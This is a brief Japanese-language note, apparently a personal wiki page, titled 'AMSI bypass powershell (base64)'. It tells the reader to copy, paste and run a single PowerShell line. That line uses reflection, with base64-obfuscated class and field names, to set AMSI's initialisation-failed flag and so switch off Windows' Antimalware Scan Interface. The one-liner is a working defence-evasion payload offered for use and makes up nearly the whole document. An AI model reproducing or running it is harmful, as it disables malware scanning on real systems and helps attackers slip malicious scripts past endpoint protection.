AMSI bypass powershell (base64)

powershell上に次をコピぺして実行すればよい：

code:powershell

Ref.Assembly.GetType('System.Management.Automation.'+$(Text.Encoding::Unicode.GetString(Convert::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($(Text.Encoding::Unicode.GetString(Convert::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

from AMSI BYPASS METHODS